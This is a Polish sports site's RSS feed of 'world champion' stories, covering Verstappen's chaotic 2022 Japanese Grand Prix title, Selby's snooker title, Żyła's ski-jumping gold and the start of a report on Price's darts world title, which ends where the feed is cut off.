<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Archiwa mistrz świata - RadioGOL.PL</title>
	<atom:link href="https://radiogol.pl/tag/mistrz-swiata/feed/" rel="self" type="application/rss+xml" />
	<link>https://radiogol.pl/tag/mistrz-swiata/</link>
	<description>W DRODZE PO EMOCJE!</description>
	<lastBuildDate>Tue, 22 Oct 2024 09:22:08 +0000</lastBuildDate>
	<language>pl-PL</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	

<image>
	<url>https://radiogol.pl/wp-content/uploads/2024/10/cropped-GOL-FAVICON-32x32.png</url>
	<title>Archiwa mistrz świata - RadioGOL.PL</title>
	<link>https://radiogol.pl/tag/mistrz-swiata/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Chaos goni chaos. Verstappen z mistrzostwem świata. [PODSUMOWANIE GP JAPONII]</title>
		<link>https://radiogol.pl/wiadomosci/chaos-goni-chaos-verstappen-z-mistrzostwem-swiata-podsumowanie-gp-japonii/</link>
					<comments>https://radiogol.pl/wiadomosci/chaos-goni-chaos-verstappen-z-mistrzostwem-swiata-podsumowanie-gp-japonii/#respond</comments>
		
		<dc:creator><![CDATA[RadioGol]]></dc:creator>
		<pubDate>Sun, 09 Oct 2022 13:09:10 +0000</pubDate>
				<category><![CDATA[Formuła 1]]></category>
		<category><![CDATA[MotoSport]]></category>
		<category><![CDATA[Wiadomości]]></category>
		<category><![CDATA[Wyróżnione]]></category>
		<category><![CDATA[Alexander Albon]]></category>
		<category><![CDATA[Carlos Sainz]]></category>
		<category><![CDATA[Charles Leclerc]]></category>
		<category><![CDATA[dźwig]]></category>
		<category><![CDATA[ferrari]]></category>
		<category><![CDATA[formuła 1]]></category>
		<category><![CDATA[formuła 1 2022]]></category>
		<category><![CDATA[GP Japonii]]></category>
		<category><![CDATA[GP Japonii 2022]]></category>
		<category><![CDATA[Jules Bianchi]]></category>
		<category><![CDATA[Max verstappen]]></category>
		<category><![CDATA[mistrz świata]]></category>
		<category><![CDATA[mistrzostwa świata formuły 1]]></category>
		<category><![CDATA[Red Bull Racing]]></category>
		<category><![CDATA[suzuka]]></category>
		<guid isPermaLink="false">http://radiogol.pl/?p=74872</guid>

					<description><![CDATA[<p>Artykuł <a href="https://radiogol.pl/wiadomosci/chaos-goni-chaos-verstappen-z-mistrzostwem-swiata-podsumowanie-gp-japonii/">Chaos goni chaos. Verstappen z mistrzostwem świata. [PODSUMOWANIE GP JAPONII]</a> pochodzi z serwisu <a href="https://radiogol.pl">RadioGOL.PL</a>.</p>
]]></description>
										<content:encoded><![CDATA[


<p><strong>Bite trzy godziny spędzili fani Formuły 1 w oczekiwaniu na wyniki GP Japonii. Dwie z nich wypełniło nam oczekiwanie na optymalne warunki na torze. Po kuriozalnym wyścigu na Suzuce Max Verstappen zwycięża, pieczętując równocześnie swój drugi tytuł mistrzowski w karierze. Tak wielkie osiągnięcie jednak prawie w ogóle nie wybrzmiało w obliczu fatalnych decyzji dyrekcji wyścigu i dziur w przepisach.</strong></p>
<h5><strong>It’s raining men</strong></h5>
<p>Jeszcze zanim bolidy wyjechały na tor w piątek, wiedzieliśmy, że prognozy zapowiadają deszczową niedzielę. Mówiło się, że najgorsze opady mają przyjść około godzinny 14:00 lokalnego czasu, czyli dokładnie na start GP Japonii. Tym razem nikt się nie mylił, bo jeszcze przed oficjalnym startem ulewa porządnie zmoczyła nitkę japońskiego toru. Startu jednak nie opóźniono, a kierowcy ustawili się na polach startowych na przejściowej mieszance.</p>
<p>Warto też wspomnieć, że delikatnej zmianie uległa kolejność startowa. Pierre Gasly do rywalizacji wystartował z alei serwisowej po tym jak jego zespół naruszył zasady parku zamkniętego, zmieniając ustawienia zawieszenia oraz przedniego i tylnego skrzydła.</p>
<h5><strong>Start</strong></h5>
<p>Po zgaśnięciu czerwonych świateł kierowcy musieli trzymać się na baczność. Start oraz podejście do pierwszego zakrętu w deszczowych warunkach bywa zdradliwe, co pokazało chociażby GP Węgier z zeszłego roku. W Japonii było ostatecznie dużo spokojniej. Verstappen i Leclerc ruszyli wyśmienicie, szczególnie Monakijczyk, i w zakręt składali się praktycznie koło w koło. Zwycięsko z tego pojedynku wyszedł Verstappen i utrzymał pozycję startową.</p>
<p>Nie mniej działo się za ich plecami, chociaż wychwycenie tych rzeczy z pokaźnych pióropuszy wody graniczyło z cudem. Pierwszą żółtą flagę na tor wywołał Sebastian Vettel. Niemiec dobrze odepchnął się z pola startowego i zabrał się za wyprzedzanie Fernando Alonso, znajdującego się tuż przed nim. Ryzykowne zjeżdżanie na białą linię nie przyniosło oczekiwanych skutków. Bolid Astona Martina stracił przyczepność i zderzył się z jadącym obok Alpine. Na szczęście cała sytuacja nie przerodziła się w karambol.</p>
<p>Niedługo po powrocie Sebastiana na tor żółte flagi zawisły tym razem w drugim sektorze. Panowanie nad swoim bolidem utracił, jadący na trzeciej pozycji Carlos Sainz i uderzył w najbliższą bandę, tym samym eliminując się z dalszej rywalizacji. Sytuacja ta była zalążkiem do dużo większego skandalu, ale równie przerażający jest też fakt, że bolid Sainza odbił się od bariery na tyle nieszczęśliwie, że przy większej sile uderzenia mógł znaleźć się z powrotem na torze postawiony bokiem do kierunku jazdy. Takich obrazków wolelibyśmy już nigdy nie widzieć, mając w pamięci wydarzenia z 2019 roku na Spa. Sainz to nie jedyny kierowca, który na tym etapie pożegnał się z GP Japonii. To samo spotkało Alexa Albona jednak z innego powodu. W bolidzie Taja zawiodła hydraulika. To wszystko wywołuje nam na tor samochód bezpieczeństwa.</p>
<h5><strong>Co z tym dźwigiem?</strong></h5>
<p>Po przejechaniu okrążenia za safety car’em wyścig zostaje wstrzymany, a na torze pojawiają się czerwone flagi. Tutaj zaczyna się dwugodzinna przerwa, w trakcie której na jaw wychodzi skandaliczna sytuacja, jaka miała miejsce jeszcze przed zjazdem kierowców do alei serwisowej. Po przejrzeniu nagrań z kamer zainstalowanych na bolidach widać, że jeszcze przed wywieszaniem czerwonej flagi na tor wpuszczono dźwig, mający pomóc w usunięciu rozbitego Ferrari. Zdążył minąć cały sznur 18 bolidów i dopiero kiedy ostatni Gasly mija dźwig na wyświetlaczach zapala się czerwone światło. Ci, którzy bacznie śledzą królową motosportu wiedzą, że tor Suzuka spowity w deszczu oraz dźwig w pobliżu pędzących bolidów to wręcz prośba o powtórkę ze śmiertelnego wypadku Julesa Bianchiego z 2014 roku. Jak później podkreślał Verstappen, dla lidera taki dźwig jest bardzo jasno widoczny, ale dla bolidów w dalszej części stawki, którym widoczność ograniczają pióropusze wody, może to być śmiertelne zagrożenie. Wystarczy jeden ruch w prawo czy w lewo w poszukiwaniu lepszego poglądu na tor, a bolid może wbić się w tą potężną maszynę z ogromną siłą. W przeciągu 8 lat społeczność F1 nie zdążyła zapomnieć, a kierowcy tacy jak Vettel, Hamilton i Ricciardo widzieli tamtą tragedię na własne oczy. Taki błąd nie powinien mieć miejsca.</p>
<h5><strong>Demony Spa 2021</strong></h5>
<p>Wyścig wstrzymany zostaje mniej więcej 10 minut po 7:00. Krótko przed 8:00 dyrekcja podejmuje pierwszą próbę przygotowaniu restartu. Do takiego jednak nie dochodzi, bo procedura zostaje zawieszona. O 8:12 licznik okrążeń zostaje zastąpiony zegarem odmierzającym czas do końca regulaminowego czasu, w jakim zakończył musi się rywalizacja – 1 godzina 52 minuty. Udany restart zaliczamy dopiero godzinę później. Krótkie podliczenie pokazuje, że spędziliśmy 2 godziny na oczekiwaniu aż warunki na torze ulegną poprawie. Trudno też opędzić się od porównań do zeszłorocznego GP Belgii, gdzie FiA przegrała walkę z żywiołem i nie mogli mówić o jakiejkolwiek rywalizacji. Na szczęście wszystkich zainteresowanych – GP Japonii 2022 dało nam jeszcze 40 minut konkretnego ścigania.</p>
<h5><strong>Restart </strong></h5>
<p>Kierowcy po wyjeździe na tor najpierw dość optymistycznie prawie jednym głosem twierdzili, że warunki definitywnie się polepszyły. Jednak im dalej w stawce tym głosy były mniej optymistycznie. Dla środka stawki krytyczny była słaba widoczność przez wzbijającą się spod bolidów wodę. Przyczepność zdawała się być nie najgorsza. Po zebraniu informacji od kierowców dyrekcja wyścigu decyduje o starcie lotnym. Światła samochodu bezpieczeństwa gasną, a Verstappen oficjalnie wprowadza stawkę w kontynuację wyścigu. Nicholas Latifi i Sebastian Vettel decydują się na wczesną zmianę pełnych deszczowych opon na te typu intermediate. Jak później czas pokaże, ta ryzykowna decyzja da obu panom punktowane miejsca po przekroczeniu linii mety.</p>
<p>Reszta zespołu szybko orientuje się jak dużą przewagę daje w tych warunkach przejściowa mieszanka. W przeciągu 5 minut od wznowienia wyścigu wszyscy poza Alonso, Ricciardo, Zhou i Schumacherem jadą już na nowych oponach. Pierwsza trójka zjeżdża na najbliższym okrążeniu. Mick dostaje za to komunikat, by trzymać się obecnej mieszanki tak długo aż na tor nie wyjedzie samochód bezpieczeństwa. Plan szybko spełza na niczym, a wszystko przez drastyczną różnicę tempa. 28 minut przed końcem każdy bolid zmienił opony na przejściowe.</p>
<p>Verstappen nie pozostawił Charlesowi Leclercowi złudzeń. Po restarcie zaczął konsekwentnie budować przewagę nad kierowcą Ferrari i zespołowym kolegą – Sergio Perezem. Za ich plecami toczyła się dużo ciekawsza walka. Po wypadku Sainza na czwartą pozycję wskoczył Esteban Ocon. Musiał jej dość zażarcie bronić, bo za jego plecami pojawił się 7-krotny mistrz świata. Hamilton nie miał zamiaru rezygnować z dodatkowej zdobyczy punktowej i atakował Francuza, kiedy tylko miał na to okazję. Tutaj należą się wielkie brawa dla kierowcy Alpine, ponieważ skutecznie bronić pozycji przez 25 minut, mając za sobą kierowcę tego pokroju to nie byle co.</p>
<p>Kiedy zajęliśmy się rywalizacją w środku stawki, do Leclerca po cichu zbliżać zaczął się Sergio Perez. Na 8 minut do końca był już poniżej sekundy i zabierał się za wyprzedzanie Monakijczyka. Zarówno ta walka jak i walka Ocona z Hamiltonem rozwiązałyby się dużo szybciej, gdyby nie dezaktywowany na mokrym torze DRS. Pomiary czasu pokazują, że Meksykanin jest o wiele szybszy od kierowcy Ferrari, który dość mocno męczy się na starych oponach, ale warunki nie pozwalają mu na łatwe rozprawienie się z rywalem. Walka trwa do końca wyścigu i ostatecznie daje nam też sytuację, która przesądza o wynikach wyścigu, a co za tym idzie, mistrzostwa. Leclerc w pewnym momencie wypada z toru, ścina szykanę i wraca na drugą pozycję. Perez domaga się kary dla Charlesa, jeśli ten nie odda mu pozycji. Sędziowie decydują się na rozstrzygnięcie sprawy po zakończeniu wyścigu.</p>
<p>Ze świetnej strony pokazali się w tej ostatniej części weterani F1, czyli Fernando Alonso oraz Sebastian Vettel. Pierwszy po wizycie w alei serwisowej zyskał nieprawdopodobne tempo i połykał rywali jeden po drugim. Drugi dzięki odważnej decyzji strategicznej zapewnił sobie miejsce w czołowej dziesiątce, a przez moment był gotów powalczyć jeszcze z parą Ocon – Hamilton. Realizatorzy na ostatnim okrążeniu skupili się na walce o drugie miejsce, co sprawiło, że naszym oczom umknął foto finisz Alonso i Vettel. Niemiec przekroczył linię mety o 11 tysięcznych szybciej niż Hiszpan, czym przypieczętował swoją 6. pozycję.</p>
<h5><strong>Jest mistrzostwo czy go nie ma?</strong></h5>
<p>Mając 40 minut do końca czasu chyba wszyscy byliśmy przekonani, że jedyne co może udać się ugrać to ukończenie nieco ponad połowy dystansu, co powinno aktywować przepis o przyznaniu połowy standardowych punktów (13 pkt dla zwycięscy, 10 pkt za miejsce drugie, 8 za trzecie i tak dalej). Nawet gdyby Charles Leclerc wylądował ostatecznie za Perezem, Verstappenowi brakowałoby jednego punktu do przypieczętowania mistrzostwa. Po zakończeniu wyścigu FiA w zastanawiająco szybkim czasie przyznała Monakijczykowi karę 5 sekund za opuszczenie toru i zyskanie przewagi. Ku zaskoczeniu wszystkich, również samego zainteresowanego, Max Verstappen został okrzyknięty podwójnym mistrzem świata, choć nikt do końca nie wiedział, dlaczego. Gratulował mu Johnny Herbert, Jenson Button, promotor przygotował specjalny pokój z iście królewskim krzesłem i wielkim ekranem, na którym wyświetlały się migawki z tego sezonu. Nie zmienia to faktu, że cała społeczność nie mogła dojść do tego, dlaczego F1 tak bardzo miałaby pomylić się w obliczeniach. Okazuje się, że po GP Belgii 2021 w życie wszedł przepis gwarantujący przyznanie pełnej puli punktów wyścigowi, który zostanie wznowiony niezależnie od liczby przejechanych okrążeń. Choć absurdalna, decyzja była zatem zgodna z regulaminem i zapewniła Verstappenowi drugi tytuł mistrzowski w karierze. Nie zmienia to faktu, że w przyszłości trzeba załatać ogromną dziurę, jaką zawiera ten przepis.</p>
<p>Na deser jako wisienkę na torcie po tak chaotycznym i kuriozalnym niedzielnym wyścigu, sędziowie przyznali karę 20 sekund Pierre’owi Gasly’emu za znaczne przekroczenie prędkości pod czerwoną flagą (równoważność kary przejazdu przez aleję serwisową) oraz 2 punkty karne. Gasly sam przyznał, że zgadza się z przyznaną mu karą i przyznaje się do błędu. Nadal nurtuje jednak brak jakiegokolwiek wytłumaczenia w kwestii dźwigów pojawiających się na linii wyścigowej kierowców.</p>
<ol>
<li><strong> Max Verstappen (Red Bull RBPT)</strong></li>
<li><strong> Sergio Perez (Red Bull RBPT)</strong></li>
<li><strong> Charles Leclerc (Ferrari)</strong></li>
<li>Esteban Ocon (Alpine Renault)</li>
<li>Lewis Hamilton (Mercedes)</li>
<li>Sebastian Vettel (Aston Martin Aramco Mercedes)</li>
<li>Fernando Alonso (Alpine Renault)</li>
<li>George Russell (Mercedes)</li>
<li>Nicholas Latifi (Williams Mercedes)</li>
<li>Lando Norris (Mclaren Mercedes)</li>
<li>Daniel Ricciardo (Mclaren Mercedes)</li>
<li>Lance Stroll (Aston Martin Aramco Mercedes)</li>
<li>Yuki Tsunoda (Alpha Tauri RBPT)</li>
<li>Kevin Magnussen (Haas Ferrari)</li>
<li>Valtteri Bottas (Alfa Romeo Ferrari)</li>
<li>Zhou Guanyu (Alfa Romeo Ferrari)</li>
<li>Mick Schumacher (Haas Ferrari)</li>
<li><strong>Pierre Gasly (AlphaTauri RBPT)</strong></li>
</ol>
<p>DNF Carlos Sainz (Ferrari)<br />DNF Alexander Albon (Williams Mercedes)</p>
<p> </p>
<p>Marta Szajkowska</p>
<p> </p>
<p>Artykuł <a href="https://radiogol.pl/wiadomosci/chaos-goni-chaos-verstappen-z-mistrzostwem-swiata-podsumowanie-gp-japonii/">Chaos goni chaos. Verstappen z mistrzostwem świata. [PODSUMOWANIE GP JAPONII]</a> pochodzi z serwisu <a href="https://radiogol.pl">RadioGOL.PL</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://radiogol.pl/wiadomosci/chaos-goni-chaos-verstappen-z-mistrzostwem-swiata-podsumowanie-gp-japonii/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Mark Selby Mistrzem Świata w snookera</title>
		<link>https://radiogol.pl/wiadomosci/mark-selby-mistrzem-swiata-w-snookera/</link>
					<comments>https://radiogol.pl/wiadomosci/mark-selby-mistrzem-swiata-w-snookera/#respond</comments>
		
		<dc:creator><![CDATA[RadioGol]]></dc:creator>
		<pubDate>Tue, 04 May 2021 15:03:03 +0000</pubDate>
				<category><![CDATA[Snooker]]></category>
		<category><![CDATA[Wiadomości]]></category>
		<category><![CDATA[Wyróżnione]]></category>
		<category><![CDATA[Anglia]]></category>
		<category><![CDATA[Czwarty tytuł]]></category>
		<category><![CDATA[Finał]]></category>
		<category><![CDATA[Mark Selby]]></category>
		<category><![CDATA[mistrz świata]]></category>
		<category><![CDATA[Mistrzostwa Świata]]></category>
		<category><![CDATA[Shaun Murphy]]></category>
		<category><![CDATA[Sheffield]]></category>
		<category><![CDATA[snooker]]></category>
		<guid isPermaLink="false">http://radiogol.pl/?p=47754</guid>

					<description><![CDATA[<p>Artykuł <a href="https://radiogol.pl/wiadomosci/mark-selby-mistrzem-swiata-w-snookera/">Mark Selby Mistrzem Świata w snookera</a> pochodzi z serwisu <a href="https://radiogol.pl">RadioGOL.PL</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p><strong>Wczoraj zakończył się finał Mistrzostw Świata w snookerze. W decydującym meczu w Crucible Theatre w Sheffield poznaliśmy zwycięzcę. Mark Selby po raz czwarty został Mistrzem Świata. W finale pokonał rodaka Shauna Murphy&#8217;ego 18:15.</strong></p>
<p>Jest to czwarty tytuł Anglika. Po zwycięstwo w tym turnieju sięgał już w latach ubiegłych. Dokładniej w <strong>2014</strong>, <strong>2016</strong> i <strong>2017</strong> roku. Natomiast Murphy w Crucible Theatre był najlepszy szesnaście lat temu – w <strong>2005</strong> roku.</p>
<p>Tytułu Mistrza bronił <strong>Ronnie O&#8217;Sullivan</strong>. Odpadł on jednak w 1/8 finału, przegrywając ze Szkotem McGill’em. Stracił tym samym szansę na wyrównanie rekordu Stephena Hendry’ego, który siedmiokrotnie triumfował w MŚ.</p>
<h5 style="text-align: left;">Jak wyglądało spotkanie?</h5>
<p style="text-align: left;">Pojedynek lepiej rozpoczął Murphy, wygrywając pierwszą sesję <strong>5:3</strong>. Selby jednak nie dawał za wygraną i dość szybko pokazał, że drzemie w nim ogromny talent. Na półmetku rywalizacji trzykrotny Mistrz odwrócił losy spotkania. Wyszedł na prowadzenie <strong>10:7</strong>. Zaczął grać na najlepszym poziomie oraz wykorzystywał wszystkie błędy przeciwnika. <br />Wypracowaną przewagę Selby utrzymał również w trzeciej sesji. Prowadził już <strong>14:11</strong>. Do tytułu brakowało mu już tylko cztery wygrane frejmy. Jak wiemy, finał rozgrywany był zasadą <strong>lepszy z 33 frejmów</strong>. Wtedy wydawało się, że już wszystko jest przesądzone, jednakże Murphy nie dawał za wygraną. Na ostatnią sesję wrócił do stołu z odważnym nastawieniem. Co prawda zaliczał wręcz perfekcyjne wbicia do kieszeni, jednak nie znalazł już sposobu na rodaka.</p>
<p style="text-align: left;">Selby znów błyskawicznie odskakiwał z wynikiem i ostatecznie zamknął cały mecz rezultatem <strong>18:15 </strong>i czwarty tytuł dla wciąż młodego Anglika stał się faktem. </p>
<p><strong>Autor: Mikołaj Szczygieł </strong></p>
<p>Artykuł <a href="https://radiogol.pl/wiadomosci/mark-selby-mistrzem-swiata-w-snookera/">Mark Selby Mistrzem Świata w snookera</a> pochodzi z serwisu <a href="https://radiogol.pl">RadioGOL.PL</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://radiogol.pl/wiadomosci/mark-selby-mistrzem-swiata-w-snookera/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>PIOTR ŻYŁA MISTRZEM ŚWIATA!</title>
		<link>https://radiogol.pl/wiadomosci/piotr-zyla-mistrzem-swiata/</link>
					<comments>https://radiogol.pl/wiadomosci/piotr-zyla-mistrzem-swiata/#respond</comments>
		
		<dc:creator><![CDATA[RadioGol]]></dc:creator>
		<pubDate>Sat, 27 Feb 2021 18:05:31 +0000</pubDate>
				<category><![CDATA[Skoki Narciarskie]]></category>
		<category><![CDATA[Sporty Zimowe]]></category>
		<category><![CDATA[Wiadomości]]></category>
		<category><![CDATA[Wyróżnione]]></category>
		<category><![CDATA[Anze Lanisek]]></category>
		<category><![CDATA[dawid kubacki]]></category>
		<category><![CDATA[halvor egner granerud]]></category>
		<category><![CDATA[Kamil Stoch]]></category>
		<category><![CDATA[Karl Geiger]]></category>
		<category><![CDATA[mistrz świata]]></category>
		<category><![CDATA[Mistrzostwa Świata w skokach narciarskich]]></category>
		<category><![CDATA[Mistrzostwa Świata w skokach narciarskich w Oberstdorfie]]></category>
		<category><![CDATA[piotr żyła]]></category>
		<category><![CDATA[skoki narciarskie]]></category>
		<guid isPermaLink="false">http://radiogol.pl/?p=43810</guid>

					<description><![CDATA[<p>Ostatnie tygodnie w wykonaniu naszych skoczków były mocno w kratkę. Jak się okazało, najwyższą formę udało się odnaleźć podczas Mistrzostw Świata w Oberstdorfie. Tam najlepiej poszło Piotrowi Żyle, który odniósł największy sukces w swojej karierze. Czterokrotnie Adam Małysz w 2001, 2003 i 2007 roku, Kamil Stoch w 2014, Dawid Kubacki w 2019, a teraz on, [&#8230;]</p>
<p>Artykuł <a href="https://radiogol.pl/wiadomosci/piotr-zyla-mistrzem-swiata/">PIOTR ŻYŁA MISTRZEM ŚWIATA!</a> pochodzi z serwisu <a href="https://radiogol.pl">RadioGOL.PL</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph"><strong>Ostatnie
tygodnie w wykonaniu naszych skoczków były mocno w kratkę. Jak się
okazało, najwyższą formę udało się odnaleźć podczas
Mistrzostw Świata w Oberstdorfie. Tam najlepiej poszło Piotrowi
Żyle, który odniósł największy sukces w swojej karierze.</strong></p>



<p class="wp-block-paragraph">
Czterokrotnie
Adam Małysz w 2001, 2003 i 2007 roku, Kamil Stoch w 2014, Dawid
Kubacki w 2019, a teraz on, Piotr Żyła w 2021 roku! Siódmy raz
Polak staje na najwyższym stopniu podium Mistrzostw Świata. Mało
tego, zostaje najstarszym skoczkiem w historii, któremu udało się
wywalczyć złoty medal.
</p>



<blockquote class="twitter-tweet"><p lang="pl" dir="ltr">Łapcie do oprawienia w ramki ????????????????<br />????<a href="https://twitter.com/hashtag/ZimaJestNasza?src=hash&amp;ref_src=twsrc%5Etfw">#ZimaJestNasza</a> <a href="https://twitter.com/hashtag/skijumpingfamily?src=hash&amp;ref_src=twsrc%5Etfw">#skijumpingfamily</a> <a href="https://twitter.com/hashtag/Oberstdorf?src=hash&amp;ref_src=twsrc%5Etfw">#Oberstdorf</a> <a href="https://twitter.com/hashtag/Oberstdorf2021?src=hash&amp;ref_src=twsrc%5Etfw">#Oberstdorf2021</a> <a href="https://t.co/nfzUBAvqh2">pic.twitter.com/nfzUBAvqh2</a></p>— Eurosport Polska (@Eurosport_PL) <a href="https://twitter.com/Eurosport_PL/status/1365713964974366727?ref_src=twsrc%5Etfw">February 27, 2021</a></blockquote> <script async="" src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>



<p class="wp-block-paragraph">
Wspaniała
historia wydarzyła się dzisiaj na skoczni w południowych
Niemczech. Napisał ją człowiek zwykle z trzeciego szeregu, będący
w cieniu wielkich sukcesów Kamila Stocha i Dawida Kubackiego. To on
na swoich barkach nosił tych dwóch Panów po ich sukcesach. Dzisiaj
role się odwróciły. Dzisiaj wreszcie to oni ponieśli jego.
</p>



<blockquote class="twitter-tweet"><p lang="pl" dir="ltr">????????????????<img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2757.png" alt="❗" class="wp-smiley" style="height: 1em; max-height: 1em;" /><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2757.png" alt="❗" class="wp-smiley" style="height: 1em; max-height: 1em;" /><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2757.png" alt="❗" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Piotr Żyła na rękach Kamila Stocha i Dawida Kubackiego ???????????????? <br /><br />Podsumowanie konkursu na średniej skoczni MŚ <a href="https://twitter.com/hashtag/Oberstdorf2021?src=hash&amp;ref_src=twsrc%5Etfw">#Oberstdorf2021</a> trwa w <a href="https://twitter.com/hashtag/tvpsport?src=hash&amp;ref_src=twsrc%5Etfw">#tvpsport</a> i online <img src="https://s.w.org/images/core/emoji/17.0.2/72x72/25b6.png" alt="▶" class="wp-smiley" style="height: 1em; max-height: 1em;" /> <a href="https://t.co/TUPgLibfz4">https://t.co/TUPgLibfz4</a><a href="https://twitter.com/hashtag/skokoholicy?src=hash&amp;ref_src=twsrc%5Etfw">#skokoholicy</a> <a href="https://twitter.com/hashtag/skijumpingfamily?src=hash&amp;ref_src=twsrc%5Etfw">#skijumpingfamily</a> <a href="https://t.co/razovsCGed">pic.twitter.com/razovsCGed</a></p>— TVP SPORT (@sport_tvppl) <a href="https://twitter.com/sport_tvppl/status/1365718818161651720?ref_src=twsrc%5Etfw">February 27, 2021</a></blockquote> <script async="" src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>



<p class="wp-block-paragraph"> <em>&#8211; Perfekcyjny dzień! Jestem niezwykle szczęśliwy. Wszystko wyszło jak należy. Cały dzień grałem na gitarze, miałem dużo energii. Musiałem to wygrać! </em>– mówił tuż po konkursie świeżo upieczony Mistrz Świata.</p>



<blockquote class="twitter-tweet"><p lang="pl" dir="ltr">Jeśli ktoś Was kiedyś zapyta: jak wygląda prawdziwa radość?<br /><br />Odpowiedź: ????<a href="https://twitter.com/hashtag/ZimaJestNasza?src=hash&amp;ref_src=twsrc%5Etfw">#ZimaJestNasza</a> <a href="https://twitter.com/hashtag/skijumpingfamily?src=hash&amp;ref_src=twsrc%5Etfw">#skijumpingfamily</a> <a href="https://twitter.com/hashtag/Oberstdorf?src=hash&amp;ref_src=twsrc%5Etfw">#Oberstdorf</a> <a href="https://twitter.com/hashtag/Oberstdorf2021?src=hash&amp;ref_src=twsrc%5Etfw">#Oberstdorf2021</a> <a href="https://t.co/eqIDhNHowB">pic.twitter.com/eqIDhNHowB</a></p>— Eurosport Polska (@Eurosport_PL) <a href="https://twitter.com/Eurosport_PL/status/1365715474584068102?ref_src=twsrc%5Etfw">February 27, 2021</a></blockquote> <script async="" src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>



<p class="wp-block-paragraph"> Na podium znaleźli się także Karl Geiger oraz Anze Lanisek. Tuż za najlepszą trójką znalazł się dominator tego sezonu, Halvor Egner Grenerud. Tytułu mistrzowskiego nie udało się obronić Dawidowi Kubackiemu, ale piąte miejsce jest i tak bardzo dobrym wynikiem naszego reprezentanta.  </p>



<p class="wp-block-paragraph"> Słabiej zaprezentowali się pozostali biało-czerwoni. Kamil Stoch uplasował się na 22. lokacie, Andrzej Stękała był 30., a Klemens Murańka zajął odległe 36. miejsce.  </p>



<p class="wp-block-paragraph"><strong>Autor:
Patryk Stysiński </strong>
</p>
<p>Artykuł <a href="https://radiogol.pl/wiadomosci/piotr-zyla-mistrzem-swiata/">PIOTR ŻYŁA MISTRZEM ŚWIATA!</a> pochodzi z serwisu <a href="https://radiogol.pl">RadioGOL.PL</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://radiogol.pl/wiadomosci/piotr-zyla-mistrzem-swiata/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Gerwyn Price ZDEKLASOWAŁ Gary’ego Andersona w finale MŚ w darcie! Walijczyk nowym mistrzem świata!</title>
		<link>https://radiogol.pl/wiadomosci/gerwyn-price-zdeklasowal-garyego-andersona-w-finale-ms-w-darcie-walijczyk-nowym-mistrzem-swiata/</link>
					<comments>https://radiogol.pl/wiadomosci/gerwyn-price-zdeklasowal-garyego-andersona-w-finale-ms-w-darcie-walijczyk-nowym-mistrzem-swiata/#respond</comments>
		
		<dc:creator><![CDATA[RadioGol]]></dc:creator>
		<pubDate>Sun, 03 Jan 2021 23:31:40 +0000</pubDate>
				<category><![CDATA[Dart]]></category>
		<category><![CDATA[Wiadomości]]></category>
		<category><![CDATA[Wyróżnione]]></category>
		<category><![CDATA[dart]]></category>
		<category><![CDATA[gary anderson]]></category>
		<category><![CDATA[gerwyn price]]></category>
		<category><![CDATA[mistrz świata]]></category>
		<category><![CDATA[mistrzostwa świata w darcie]]></category>
		<category><![CDATA[pdc darts]]></category>
		<guid isPermaLink="false">http://radiogol.pl/?p=40803</guid>

					<description><![CDATA[<p>Kapitalny mecz, świetne emocje! Taki był finał Mistrzostw Świata w darcie. Po raz pierwszy w historii najlepszym darterem świata został Walijczyk. Gerwyn Price pokonał w finale Gary’ego Andersona 7-3, który mistrzem świata zostawał wcześniej dwukrotnie, w 2015 i 2016 roku. Pierwszy, otwierający nam to spotkanie set dobrze rozpoczął Anderson. Szkot prowadził 2-0, ale okazało się, [&#8230;]</p>
<p>Artykuł <a href="https://radiogol.pl/wiadomosci/gerwyn-price-zdeklasowal-garyego-andersona-w-finale-ms-w-darcie-walijczyk-nowym-mistrzem-swiata/">Gerwyn Price ZDEKLASOWAŁ Gary’ego Andersona w finale MŚ w darcie! Walijczyk nowym mistrzem świata!</a> pochodzi z serwisu <a href="https://radiogol.pl">RadioGOL.PL</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph"><strong>Kapitalny
mecz, świetne emocje! Taki był finał Mistrzostw Świata w darcie.
Po raz pierwszy w historii najlepszym darterem świata został
Walijczyk. Gerwyn Price pokonał w finale Gary’ego Andersona 7-3,
który mistrzem świata zostawał wcześniej dwukrotnie, w 2015 i
2016 roku.</strong></p>



<p class="wp-block-paragraph">Pierwszy,
otwierający nam to spotkanie set dobrze rozpoczął Anderson. Szkot
prowadził 2-0, ale okazało się, że były to tylko miłe złego
początki. Do głosu zaczął dochodzić Gerwyn Price, który
odwrócił wynik tego seta i ostatecznie wygrał go 3-2.</p>



<blockquote class="twitter-tweet"><p lang="en" dir="ltr">???????????????????? ????????????????<br /><br />Anderson misses a handful of set darts, allowing Price back to pin D6 to save the set! <a href="https://t.co/NMko4NxDTs">pic.twitter.com/NMko4NxDTs</a></p>— PDC Darts (@OfficialPDC) <a href="https://twitter.com/OfficialPDC/status/1345822403738402816?ref_src=twsrc%5Etfw">January 3, 2021</a></blockquote> <script async="" src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>



